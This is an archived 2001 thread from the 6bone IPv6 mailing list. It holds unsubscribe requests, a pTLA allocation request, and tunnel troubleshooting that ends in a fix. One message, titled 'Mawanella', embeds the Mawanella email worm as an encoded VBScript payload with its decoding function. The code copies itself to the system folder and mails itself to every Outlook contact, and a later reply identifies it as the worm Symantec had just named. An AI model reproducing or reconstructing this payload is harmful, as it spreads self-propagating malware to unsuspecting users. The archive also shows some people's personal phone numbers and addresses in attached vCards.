From 6bone-owner  Mon May 14 04:15:19 2001
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Date: Mon, 14 May 2001 07:13:52 -0400
Subject: remove
To: 6bone Mail List <6bone@ISI.EDU>
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----------------------------------------------------------------
The information transmitted is intended only for the person or entity to
which it is addressed and may contain confidential and/or privileged
material.  Any review, retransmission, dissemination or other use of, or
taking of any action in reliance upon, this information by persons or
entities other than the intended recipient is prohibited.   If you received
this in error, please contact the sender and delete the material from any
computer.


From 6bone-owner  Mon May 14 06:26:48 2001
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From: david.greaves@idl-bt.com
To: 6bone@ISI.EDU
Subject: Don't use 'remove' to unsubscribe
Date: Mon, 14 May 2001 14:15:34 +0100
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Here's a partial copy of my welcome message for those who are confused
(apologies to the rest but I figured this would cut down spurious removes :)

--
Welcome to the 6bone mailing list!

If you ever want to remove yourself from this mailing list,
send the following command in email to
"6bone-request@isi.edu":

    unsubscribe

Or you can send mail to "majordomo@isi.edu" with the following command
in the body of your email message:

    unsubscribe 6bone <the email address you subscribed with>

[snip]

Hope this helps.

David Greaves
--
Internet Designers Limited - a BT company 
Mobile: 07740 824106
IDL intranet site http://intranet.idl.bt.co.uk/
<http://intranet.idl.bt.co.uk/External> 
External web site http://www.internet-designers.net/
<http://www.internet-designers.net/> 

From 6bone-owner  Mon May 14 06:57:00 2001
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Message-ID: <3AFFE515.D988143F@campus.cem.itesm.mx>
Date: Mon, 14 May 2001 09:00:53 -0500
From: "M. en C. Gabriela Campos" <gcampos@campus.cem.itesm.mx>
Reply-To: gcampos@campus.cem.itesm.mx
Organization: ITESM-CEM
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To: 6bone@ISI.EDU
Subject: remove
Content-Type: multipart/mixed;
 boundary="------------E155A0C16220A271FAFF88B9"
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This is a multi-part message in MIME format.
--------------E155A0C16220A271FAFF88B9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

remove

--------------E155A0C16220A271FAFF88B9
Content-Type: text/x-vcard; charset=us-ascii;
 name="gcampos.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for M. en C. Gabriela Campos
Content-Disposition: attachment;
 filename="gcampos.vcf"

begin:vcard 
n:Campos;Gabriela
tel;fax:(52) 5864-5651
tel;work:(52) 5864-5672
x-mozilla-html:FALSE
org:ITESM Campus Estado de México;Sistemas de Información
version:2.1
email;internet:gcampos@campus.cem.itesm.mx
adr;quoted-printable:;;Carr. Lago de Guadalupe km 3.5,=0D=0AMargarita Maza de Ju=E1rez,=0D=0AAtizap=E1n, Edo. de  M=E9xico=0D=0A;;;52926;
fn:M. en C. Gabriela Campos
end:vcard

--------------E155A0C16220A271FAFF88B9--


From 6bone-owner  Mon May 14 07:06:59 2001
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From: Arthur Rabinowitz <Arthurr@optibase.com>
To: 6bone Mail List <6bone@ISI.EDU>
Subject: remove
Date: Mon, 14 May 2001 17:06:29 +0200
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remove

Sincerely yours,
Arthur Rabinovitz




From 6bone-owner  Mon May 14 07:35:22 2001
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From: "corno fa" <corno@valnet.it>
To: "Gubanec Marko    RDEC" <gubanec@iskratel.si>, <6bone@ISI.EDU>
References: <7E8519F1A7C0D211B0D200A0C93AA60F05C65D24@ntmail.iskratel.si>
Subject: Re: remove
Date: Mon, 14 May 2001 07:32:42 +0100
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remove 

From 6bone-owner  Mon May 14 09:42:18 2001
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Message-ID: <3B000AA6.31730896@safeway.com>
Date: Mon, 14 May 2001 09:41:10 -0700
From: "Deana Grein" <deana.grein@safeway.com>
Organization: Safeway Inc.
X-Mailer: Mozilla 4.6 [en]C-backstage  (WinNT; U)
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To: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: remove
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This is a multi-part message in MIME format.
--------------5BE966B919DF2747BB24D0A6
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 charset=us-ascii
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remove

"WorldSecure Server <safeway.com>" made the following
 annotations on 05/14/01 10:42:05
------------------------------------------------------------------------------
Warning: 
All e-mail sent to this address will be received by the Safeway corporate e-mail system, and is subject to archival and review by someone other than the recipient.  This e-mail may contain information proprietary to Safeway and is intended only for the use of the intended recipient(s).  If the reader of this message is not the intended recipient(s), you are notified that you have received this message in error and that any review, dissemination, distribution or copying of this message is strictly prohibited.  If you have received this message in error, please notify the sender immediately. 
  

==============================================================================

--------------5BE966B919DF2747BB24D0A6
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 charset=us-ascii; 
 name=deana.grein.vcf
Content-Transfer-Encoding: 7bit
Content-Description: Card for Deana Grein
Content-Disposition: attachment; 
 filename=deana.grein.vcf

begin:vcard 
n:Grein;Deana
tel;pager:888-663-8515
tel;cell:925-699-4956
tel;fax:(925)944-4202
tel;work:(925)944-4014
x-mozilla-html:FALSE
version:2.1
email;internet:deana.grein@safeway.com
title:NT/UNIX SysAdmin
adr;quoted-printable:;;2800 Ygnacio Valley Road=0D=0A;Walnut Creek;Ca;94598;USA
x-mozilla-cpt:;2384
fn:Deana Grein
end:vcard

--------------5BE966B919DF2747BB24D0A6--


From 6bone-owner  Mon May 14 10:07:59 2001
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          Mon, 14 May 2001 17:07:40 +0000
From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: <david.greaves@idl-bt.com>
Cc: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: Don't use 'remove' to unsubscribe
Date: Mon, 14 May 2001 13:06:32 -0400
Message-ID: <CMEJIBBFMDBIJJMCINJOGEIBDHAA.hansolofalcon@worldnet.att.net>
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Hello all from Gregg C Levine normally with Jedi Knight Computers
Yes, and if those 'remove' messages were created, and sent out,
because of my mistake in sending out a message with that dratted
setting on Outlook's message formats set, for a Return Receipt
Requested. Then I humbly apologize to all who got stymied on it.
-------------------
Gregg C Levine mailto:hansolofalcon@att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps
one of the most powerful of all of the Jedi Knights))
(This company dedicates this E-Mail to Master Yoda
(Perhaps the other one of the most powerful of all of the Jedi
Knights))
And the favorite line by Anonymous "May the Force be with you."
> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
> david.greaves@idl-bt.com
> Sent: Monday, May 14, 2001 9:16 AM
> To: 6bone@ISI.EDU
> Subject: Don't use 'remove' to unsubscribe
>
>
> Here's a partial copy of my welcome message for those who
> are confused
> (apologies to the rest but I figured this would cut down
> spurious removes :)
>
> --
> Welcome to the 6bone mailing list!
>
> If you ever want to remove yourself from this mailing list,
> send the following command in email to
> "6bone-request@isi.edu":
>
>     unsubscribe
>
> Or you can send mail to "majordomo@isi.edu" with the
> following command
> in the body of your email message:
>
>     unsubscribe 6bone <the email address you subscribed with>
>
> [snip]
>
> Hope this helps.
>
> David Greaves
> --
> Internet Designers Limited - a BT company
> Mobile: 07740 824106
> IDL intranet site http://intranet.idl.bt.co.uk/
> <http://intranet.idl.bt.co.uk/External>
> External web site http://www.internet-designers.net/
> <http://www.internet-designers.net/>


From 6bone-owner  Mon May 14 23:26:57 2001
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From: "Wirkola, Kjetil" <kjetil.wirkola@wrs.no>
To: "'corno fa'" <corno@valnet.it>,
        Gubanec Marko    RDEC
	 <gubanec@iskratel.si>, 6bone@ISI.EDU
Subject: RE: remove
Date: Tue, 15 May 2001 08:25:35 +0200
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remove

From 6bone-owner  Wed May 16 23:57:48 2001
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Date: Wed, 16 May 2001 23:57:41 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for ATMAN6 (www.atman.pl) - review closes 30 May
  2001
Cc: "Robert J. Wozny" <speedy@atm.com.pl>
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6bone Folk,

ATMAN6 (www.atman.pl) has requested a pTLA allocation. The open review 
period for this will close 30 May 2001. Please send your comments to me or 
the list.


Thanks,

Bob

===
>To: Bob Fink <fink@es.net>
>Cc: ipv6@6bone.atman.pl
>Subject: pTLA request for ATMAN (www.atman.pl)
>From: "Robert J. Wozny" <speedy@atm.com.pl>
>
>Dear Bob,
>
>We would like to request a test pTLA on the 6bone.
>I'm working for ATM Inc. It's an ISP.
>
>1. The pTLA Applicant must have a minimum of three (3) months
>qualifying experience as a 6Bone end-site or pNLA transit.
>During the entire qualifying period the Applicant must be operationally
>providing the following:
>
>since the end of 1999 from ICM: a 3FFE:8010:2f::/48 Network. (old router)
>since 22 April 2001 from AGARAN: a 3FFE:8010:22:1000::/60 Network (new router)
>
>a. Fully maintained, up to date, 6Bone Registry entries for
>their ipv6-site inet6num, mntner, and person objects, including
>each tunnel that the Applicant has.
>
>see ATMAN6
>
>b. Fully maintained, and reliable, BGP4+ peering and connectivity
>between the Applicant's boundary router and the appropriate
>connection point into the 6Bone. This router must be IPv6
>pingable. This criteria is judged by members of the 6Bone
>Operations Group at the time of the Applicant's pTLA request
>
>tunnel: IPv6 in IPv4 6bone.atman.pl -> agaran-gw.agaran.6bone.pl AGARAN BGP4+
>tunnel: IPv6 in IPv4 6bone.atman.pl -> dune.speedy.eu.org SPEEDY BGP4+
>tunnel: IPv6 in IPv4 6bone.atman.pl -> 6bone-gw.6bone.pl ICM BGP4+
>
>traceroute to 6bone-gw.6bone.pl (193.219.28.246), 64 hops max, 40 byte
>packets
>  1  do-6bone-r4.atman.pl (217.17.32.13)  1.876 ms  1.749 ms  1.413 ms
>  2  unused-32-17.atman.pl (217.17.32.17)  2.245 ms  2.333 ms  2.690 ms
>  3  z-icm.atman.pl (217.17.32.10)  3.590 ms  4.932 ms  3.755 ms
>  4  c7-icm-atm2-0-1.icm.edu.pl (212.87.0.1)  4.115 ms  4.343 ms 3.585 ms
>  5  6bone-gw.6bone.pl (193.219.28.246)  5.780 ms  4.484 ms  3.901 ms
>
>router: 6bone.atman.pl (OpenBSD, kame, zebra)
>         ipv4: 217.17.32.14
>         ipv6: 3FFE:8010:22:1000::1:1
>
>c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>entries for the Applicant's router(s) and at least one host system.
>
>domain: 6bone.atman.pl
>DNS: ns.6bone.atman.pl
>
>ns.6bone.atman.pl. has address 217.17.32.14
>ns.6bone.atman.pl. has AAAA address 3ffe:8010:22:1000::1:1
>
>d. A fully maintained, and reliable, IPv6-accessible system
>providing, at a mimimum, one or more web pages, describing
>the Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>web: (v6 ready) www.6bone.atman.pl (only v4) www.atman.pl
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>  "production-quality" 6Bone backbone service. Applicants must
>  provide a statement and information in support of this claim.
>  This MUST include the following:
>
>a. A support staff of two persons minimum, three preferable, with
>person attributes registered for each in the ipv6-site object
>for the pTLA applicant.
>
>see RJW2-6BONE and MAP2-6BONE
>
>b. A common mailbox for support contact purposes that all support
>staff have acess to, pointed to with a notify attribute in
>the ipv6-site object for the pTLA Applicant.
>
>ipv6@6bone.atman.pl, registry@6bone.atman.pl
>
>3. The pTLA Applicant MUST have a potential "user community" that
>would be served by its becoming a pTLA, e.g., the Applicant is a
>major provider of Internet service in a region, country, or focus
>of interest. Applicant must provide a statement and information
>in support this claim.
>
>ATM is an ISP in Warsaw, Poland. we provides Internet Services to
>business customers. Ther service includes consulting, housing,
>atm links. Our main goal is to provide high quality to all out
>customers.
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>operational rules and policies as they exist at time of its
>application, and agree to abide by future 6Bone backbone
>operational rules and policies as they evolve by consensus of
>the 6Bone backbone and user community.
>
>We commit any current and any future 6Bone operational rules and policies.
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>--
>Robert Wo¼ny
>ATM Inc., ul. Grochowska 21a, 04-186 Warszawa, POLAND
>tel. +48-22-5156359, fax: +48-22-5156295, http://www.atm.com.pl



From 6bone-owner  Thu May 17 06:23:24 2001
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	Thu, 17 May 2001 17:22:41 +0400 (MSK)
Date: Thu, 17 May 2001 17:22:41 +0400 (MSK)
From: Grigory Kljuchnikov <grn@ispras.ru>
To: <6bone@ISI.EDU>
cc: <snap-users@kame.net>, <users@ipv6.org>
Subject: 6bone connection request
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Hello,

I try to set connection to 6Bone. I've FreeBSD 4.1 with interface gif0
and static routing (inet6 default gateway 3FFE:28FF:5:FFF::1).
The remote end point have Cisco. It have configured intreface Tunnel1.
But we don't have connection, ping6 don't say anything from my place
and from remote place.

May be somebody can help me?

Thank you.
-------------------------------------------------

The configuration of my FreeBSD 4.1 end point is:

[grn@motor grn]$ ifconfig -a
ed0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 194.67.37.210 netmask 0xffffff00 broadcast 194.67.37.255
        inet6 fe80::260:52ff:fe05:e8cd%ed0 prefixlen 64 scopeid 0x1
        inet6 3ffe:28ff:5:1000::1 prefixlen 64
        ether 00:60:52:05:e8:cd
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
        inet6 ::1 prefixlen 128
        inet 127.0.0.1 netmask 0xff000000
gif0: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
        inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1 prefixlen 126
        inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 scopeid 0x4

[grn@motor grn]$ gifconfig -a
gif0: flags=8111<UP,POINTOPOINT,PROMISC,MULTICAST> mtu 1280
        inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1  prefixlen 126
        inet6 fe80::260:52ff:fe05:e8cd%gif0 --> ::  prefixlen 64
        physical address inet 194.67.37.210 --> 193.232.112.199

[grn@motor grn]$  netstat -f inet6 -rn
Routing tables

Internet6:
Destination                       Gateway                       Flags      Netif
Expire
::/96                             ::1                           UGRSc       lo0
=>
default                           3ffe:28ff:5:fff::1            UGSc       gif0
::1                               ::1                           UH          lo0
::ffff:0.0.0.0/96                 ::1                           UGRSc       lo0
3ffe:28ff:5:fff::1                3ffe:28ff:5:fff::2            UH         gif0
3ffe:28ff:5:fff::2                ::1                           UH          lo0
3ffe:28ff:5:1000::/64             link#1                        UC          ed0
3ffe:28ff:5:1000::1               0:60:52:5:e8:cd               UHLW        lo0
3ffe:28ff:5:1000::2               0:d0:b7:c:42:42               UHLS        ed0
3ffe:28ff:5:1000::3               8:0:20:1f:ec:d9               UHLW        ed0
fe80::/10                         link#4                        UCS        gif0
fe80::%ed0/64                     link#1                        UC          ed0
fe80::d0:b70c:4242%ed0            0:d0:b7:c:42:42               UHLW        ed0
fe80::800:207d:1096%ed0           8:0:20:7d:10:96               UHLW        ed0
fe80::260:52ff:fe05:e8cd%ed0      0:60:52:5:e8:cd               UHLW        lo0
fe80::a00:20ff:fe7d:1096%ed0      8:0:20:7d:10:96               UHLW        ed0
fe80::%lo0/64                     fe80::1%lo0                   Uc          lo0
fe80::%gif0/64                    link#4                        UC         gif0
fe80::260:52ff:fe05:e8cd%gif0     ::1                           UH          lo0
ff01::/32                         ::1                           U           lo0
ff02::/64                         link#1                        UC          ed0
=>
ff02::/16                         link#4                        UCS        gif0
ff02::%ed0/32                     link#1                        UC          ed0
ff02::%lo0/32                     fe80::1%lo0                   UC          lo0
ff02::%gif0/32                    link#4                        UC         gif0

---------------------------------------

And configuration of remote end point is:

murka#show ipv6 interface tun 1
Tunnel1 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::C03:8F19:D
  Description: MSU-ISPRAS.IPv4-IPv6.GW
  Global unicast address(es):
    3FFE:28FF:5:FFF::1, subnet is 3FFE:28FF:5:FFF::/126
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::1:FF19:D
    FF02::1:FF00:1
  MTU is 1480 bytes
  ICMP error messages limited to one every 500 milliseconds
  ND advertised reachable time is 0 milliseconds
  ND advertised retransmit interval is 0 milliseconds
  ND router advertisements are sent every 200 seconds
  ND router advertisements live for 1800 seconds
  Hosts use stateless autoconfig for addresses.
murka#show interfaces tun 1
Tunnel1 is up, line protocol is up
  Hardware is Tunnel
  Description: MSU-ISPRAS.IPv4-IPv6.GW
  MTU 1514 bytes, BW 9 Kbit, DLY 500000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation TUNNEL, loopback not set
  Keepalive set (10 sec)
  Tunnel source 193.232.112.199 (Ethernet0), destination 194.67.37.210
  Tunnel protocol/transport IPv6/IP, key disabled, sequencing disabled
  Checksumming of packets disabled
  Path MTU Discovery, ager 10 mins, MTU 0, expires never
  Last input never, output 1d20h, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/0, 2 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     0 packets input, 0 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     24 packets output, 4264 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out


Many thanks,

Grigory Klyuchnikov, System Engineer,
Institute for System Programming
Russian Academy of Sciences


From 6bone-owner  Thu May 17 12:51:03 2001
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	Thu, 17 May 2001 22:50:41 +0300
Date: Thu, 17 May 2001 22:50:40 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Grigory Kljuchnikov <grn@ispras.ru>
cc: <6bone@ISI.EDU>, <snap-users@kame.net>, <users@ipv6.org>
Subject: Re: 6bone connection request
In-Reply-To: <Pine.GSO.4.33.0105171703060.27054-100000@gate.ispras.ru>
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On Thu, 17 May 2001, Grigory Kljuchnikov wrote:
> I try to set connection to 6Bone. I've FreeBSD 4.1 with interface gif0
> and static routing (inet6 default gateway 3FFE:28FF:5:FFF::1).
> The remote end point have Cisco. It have configured intreface Tunnel1.
> But we don't have connection, ping6 don't say anything from my place
> and from remote place.
>
> May be somebody can help me?

Check that you aren't filtering protocol 41 somewhere along the way.

This is probably the issue, as Cisco has sent packets but they've never
arrived to you (or so I gather as you're running tcpdump on gif0 but
probably aren't seeing anything).



I'm connecting FreeBSD 4.3 to Cisco using /126 too.  The configuration is
otherwise the same, except there I haven't specified the remote P-t-P
address in the interface configuration as you have.  With you it would be:

instead of:
> [grn@motor grn]$ ifconfig -a
> gif0: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1 prefixlen 126
>         inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 scopeid 0x4

 gif0: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
         inet6 3ffe:28ff:5:fff::2 --> :: prefixlen 126
         inet6 fe80::260:52ff:fe05:e8cd%gif0 --> :: prefixlen 64 scopeid 0x4

and instead of:
> [grn@motor grn]$ gifconfig -a
> gif0: flags=8111<UP,POINTOPOINT,PROMISC,MULTICAST> mtu 1280
>         inet6 3ffe:28ff:5:fff::2 --> 3ffe:28ff:5:fff::1  prefixlen 126
>         inet6 fe80::260:52ff:fe05:e8cd%gif0 --> ::  prefixlen 64
>         physical address inet 194.67.37.210 --> 193.232.112.199

 gif0: flags=8111<UP,POINTOPOINT,PROMISC,MULTICAST> mtu 1280
         inet6 3ffe:28ff:5:fff::2 --> ::  prefixlen 126
         inet6 fe80::260:52ff:fe05:e8cd%gif0 --> ::  prefixlen 64
         physical address inet 194.67.37.210 --> 193.232.112.199

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Thu May 17 21:20:46 2001
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	Fri, 18 May 2001 07:20:32 +0300
Date: Fri, 18 May 2001 07:20:31 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Chuck Yerkes <chuck@snew.com>
cc: <6bone@ISI.EDU>, <snap-users@kame.net>
Subject: Re: How do I route IPv4 encapsulated packets?
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On Thu, 17 May 2001, Chuck Yerkes wrote:
[snip]
> I have the (netgear) NAT box forwarding EVERYTHING to this
> OpenBSD box (firewalls are moot when the inside machines are
> all secure).
>
> My question is this:
> What do tunnelled IPv6 over IPv4 packets look like to the
> intermediate machine?
>
> An ICMP6 packet looks like ICMP4 with more payload?

No.  When tunneling, the only thing your NAT box sees are IPv4
encapsulated packets (protocol 41).  I'd be surprised if your NAT box
managed to rewrite that, but you never know.

> Tcpdump doesn't help cause ALL the machines speak IPv6 and
> it just tells me it's an encapsulated IP6 packet.

Yeah, that's a problem with tcpdump-3.6 with ipv6 enabled.  If you disable
ipv6, you will be able to see what the encapsulating ipv4 packets look
like.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu May 17 21:21:39 2001
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From: "Vanitha Neelamegam" <vanitha@future.futsoft.com>
To: <6bone@ISI.EDU>
Subject: Mawanella
Date: Fri, 18 May 2001 09:33:39 +0530
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Mawanella is one of the Sri Lanka's Muslim Village

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%%Xjy%inw|ns%B%kxt3LjyXujhnfqKtqijw-5.=0F%%%%%%Xjy%inwx~xyjr%B%kxt3LjyXuj=
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Knqj%B%kxt3LjyKnqj-\Xhwnuy3XhwnuyKzqqSfrj.=0F%%%%%%hKnqj3Htu~-inwx~xyjr+'=
aRf|fsjqqf3{gx'.=0F%%%%%=0FXjy%TzyqttpF%B%HwjfyjTgojhy-'Tzyqttp3Fuuqnhfyn=
ts'.=0FNk%TzyqttpF%B%'Tzyqttp'%Ymjs=0F%%%Xjy%RfunBTzyqttpF3LjySfrjXufhj-'=
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Htzsy]%B%QnxyNsij}3FiiwjxxJsywnjx3Htzsy=0F=0E%%Ktw%HtzsyB%6%Yt%HtsyfhyHtz=
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%%%%%%%Rfnq]3Yt%B%Htsyfhy]3Fiiwjxx=0F=0E%%%%%%Rfnq]3Xzgojhy%B%'Rf|fsjqqf'=
=0F=0E%%%%%%Rfnq]3Gti~%B%{ghwqk+'Rf|fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxq=
nr%[nqqflj'+{ghwqk=0F=0E%%%%%%,Xjy%FyyfhmrjsyBRfnq]3Fyyfhmrjsyx=0F=0E%%%%=
%%,Fyyfhmrjsy3Fii%inwx~xyjr%+%'aRf|fsjqqf3{gx'=0F=0E%%%%%%,Rfnq}3Fyyfhmrj=
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%%%%%%%%Sj}y=0F%%%%%%%Jsi%Nk=0F%%%Sj}y=0FJqxj=0F%%%rxlGt}%'Uqjfxj%Ktw|fwi=
%ymnx%yt%j{jw~tsj'%=0FJsi%nk=0F=0FxywRxlB%'%%.%%%%%%%%%%%%%%%%%%%%-'%+%{g=
hwqk=0FxywRxlB%xywRxl%+%'-%%.%%%%%%%%%%%%%%%%-%%%.%%'%+%{ghwqk=0FxywRxlB%=
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%%%%%%-%%%%%%%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%222222222222222222222=
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fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxqnr%[nqqflj3'%+%{ghwqk%=0FxywRxlB%xyw=
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j%gzwsy3'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%mfy%ymnx%nshnijsy1%\mfy%fgtzy%~=
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sjqqf'=0F=0FJsi%xzg=0F=0F%=0F")


Function UnCode(sCoded)
   For I=3D1 To Len(sCoded)
      CurChar=3D Mid(sCoded, I, 1)
      If Asc(CurChar) =3D 15 Then
         strChr=3D Chr(10)
      Else
         strChr =3D chr(asc(CurChar)-5)
      End if
         UnCode =3D UnCode & strChr
    Next
End Function  =20



------=_NextPart_000_0030_01C0DF7D.A02291A0--


From 6bone-owner  Fri May 18 03:19:55 2001
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	Fri, 18 May 2001 14:19:26 +0400 (MSK)
Date: Fri, 18 May 2001 14:19:26 +0400 (MSK)
From: Grigory Kljuchnikov <grn@ispras.ru>
To: <6bone@ISI.EDU>
cc: <snap-users@kame.net>, <users@ipv6.org>
Subject: Re: 6bone connection request
In-Reply-To: <Pine.LNX.4.33.0105172245300.7728-100000@netcore.fi>
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Hello,

After reconfiguration our packet filter we did't set
rule for protocol 41. Now the connection is alive.

Thanks Pekka and everybody!!!

On Thu, 17 May 2001, Pekka Savola wrote:

> Check that you aren't filtering protocol 41 somewhere along the way.
>
> This is probably the issue, as Cisco has sent packets but they've never
> arrived to you (or so I gather as you're running tcpdump on gif0 but
> probably aren't seeing anything).
>
>
>
> I'm connecting FreeBSD 4.3 to Cisco using /126 too.  The configuration is
> otherwise the same, except there I haven't specified the remote P-t-P
> address in the interface configuration as you have.  With you it would be:
>


Grigory Klyuchnikov, System Engineer,
Institute for System Programming
Russian Academy of Sciences


From 6bone-owner  Fri May 18 03:42:58 2001
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From: Leigh Porter <lporter@cw.net>
To: 6bone@ISI.EDU
Subject: IPv6 Network
Date: Fri, 18 May 2001 11:29:18 +0100
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  charset="iso-8859-1"
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Hello folks,

The Cable and Wireless UK IPv6 network is ready to go live (Just got the sTLA 
though) and is looking for peers. This network will initialy peer as AS5378.

If you would like to peer with Cable and Wireless UK, please pop me an email 
and I will send you the relavent details. Currently all peerings will be 
tunneled however we should appear at the London v6 exchange pretty soon.

Thanks,
Leigh Porter
Cable and Wireless

From 6bone-owner  Fri May 18 06:31:13 2001
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To: snap-users@kame.net
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
In-reply-to: chuck's message of Thu, 17 May 2001 16:15:38 MST.
      <20010517161538.A18950@snew.com> 
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Subject: Re: How do I route IPv4 encapsulated packets? 
From: itojun@iijlab.net
Date: Fri, 18 May 2001 22:31:11 +0900
Message-ID: <799.990192671@itojun.org>
Sender: owner-6bone@zephyr.isi.edu
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>I have the (netgear) NAT box forwarding EVERYTHING to this
>OpenBSD box (firewalls are moot when the inside machines are
>all secure).

	I don't recommend using IPv6-over-IPv4 across NAT box.  sometimes
	you can make it work, but the way you need to tweak it is not universal
	(can depend on NAT box).

>My question is this: 
>What do tunnelled IPv6 over IPv4 packets look like to the
>intermediate machine?

# /sbin/ping6 -I gif0 ff02::1
PING6(56=40+8+8 bytes) fe80::2d0:b7ff:fe1e:8dee%gif0 --> ff02::1
16 bytes from fe80::2d0:b7ff:fe1e:8dee%lo0, icmp_seq=0 hlim=64 time=0.228 ms
16 bytes from fe80::208:c7ff:fe73:17f3%gif0, icmp_seq=0 hlim=64 time=166.289 ms(DUP!)
^C
--- ff02::1 ping6 statistics ---
1 packets transmitted, 1 packets received, +1 duplicates, 0% packet loss
round-trip min/avg/max/std-dev = 0.228/83.258/166.289/83.031 ms


09:31:38.775978 216.98.98.132 > 202.232.2.100: fe80::2d0:b7ff:fe1e:8dee > ff02::1: icmp6: echo request (len 16, hlim 64) (ttl 30, id 56935)
                         4500 004c de67 0000 1e29 b5ee d862 6284
                         cae8 0264 6000 0000 0010 3a40 fe80 0000
                         0000 0000 02d0 b7ff fe1e 8dee ff02 0000
                         0000 0000 0000 0000 0000 0001 8000 0a35
                         22e8 0000 3a24 053b c3d6 0b00
09:31:38.942059 202.232.2.100 > 216.98.98.132: fe80::208:c7ff:fe73:17f3 > fe80::2d0:b7ff:fe1e:8dee: icmp6: echo reply (len 16, hlim 64) (ttl 24, id 34155)
                         4500 004c 856b 0000 1829 14eb cae8 0264
                         d862 6284 6000 0000 0010 3a40 fe80 0000
                         0000 0000 0208 c7ff fe73 17f3 fe80 0000
                         0000 0000 02d0 b7ff fe1e 8dee 8100 2949
                         22e8 0000 3a24 053b c3d6 0b00

>An ICMP6 packet looks like ICMP4 with more payload?

	I don't see what you are trying to mean.

>Tcpdump doesn't help cause ALL the machines speak IPv6 and
>it just tells me it's an encapsulated IP6 packet.

	why it does not help?  see above...

>Or is it impossible to tunnel IPv6 through a NAT box not
>matter the setup.

	almost impossible (or does not worth your prescious time),
	I would say...

iitojun

From 6bone-owner  Fri May 18 07:19:59 2001
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To: 6bone@ISI.EDU
Subject: whois: getting all "application" line
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From: itojun@iijlab.net
Date: Fri, 18 May 2001 23:20:02 +0900
Message-ID: <1191.990195602@itojun.org>
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	hi, i'm thinking of configuring a box, which monitors IPv6 reachability
	from my IPv6 network to other IPv6 networks.  6bone whois has
	"appliation" lines, which invies us to ping remote network.

>application:  ping sh1.iijlab.net

	are there a good way to query all the entries on 6bone whois database?
	if i can collect all the application lines, i can automate the
	process...

itojun

From 6bone-owner  Fri May 18 07:57:04 2001
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Date: Fri, 18 May 2001 11:15:03
To: 6bone@ISI.EDU, vanitha@future.futsoft.com
From: rcuetara@coqui.net
Subject: Re: Mawanella
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 This is fast, according to Symantec this worm was discovered yesterday,
and it hit the 6bone list today. I don't have to remind users of Outlook
not to open the vbs attached to the original message claiming to be from
vanitha@future.futsoft.com.
-Ramon




At 09:33 AM 5/18/2001 +0530, you wrote:
>
>Mawanella is one of the Sri Lanka's Muslim Village


From 6bone-owner  Fri May 18 08:31:31 2001
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Date: Fri, 18 May 2001 17:30:48 +0200
From: Johan van Selst <johans@stack.nl>
To: itojun@iijlab.net
Cc: 6bone@ISI.EDU
Subject: Re: whois: getting all "application" line
Message-ID: <20010518173048.A32639@coyote.zwoel.org>
References: <1191.990195602@itojun.org>
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In-Reply-To: <1191.990195602@itojun.org>; from itojun@iijlab.net on Fri, May 18, 2001 at 11:20:02PM +0900
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itojun@iijlab.net wrote:
> 	are there a good way to query all the entries on 6bone whois database?
> 	if i can collect all the application lines, i can automate the
> 	process...

Check out ftp://whois.6bone.net/6bone/6bone.db.gz


Ciao,
Johan

From 6bone-owner  Fri May 18 09:23:57 2001
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	(envelope-from Florent.Parent@viagenie.qc.ca)
Date: Fri, 18 May 2001 12:29:34 -0400 (EDT)
From: Florent Parent <Florent.Parent@viagenie.qc.ca>
X-X-Sender:  <parent@blues.viagenie.qc.ca>
To: <itojun@iijlab.net>
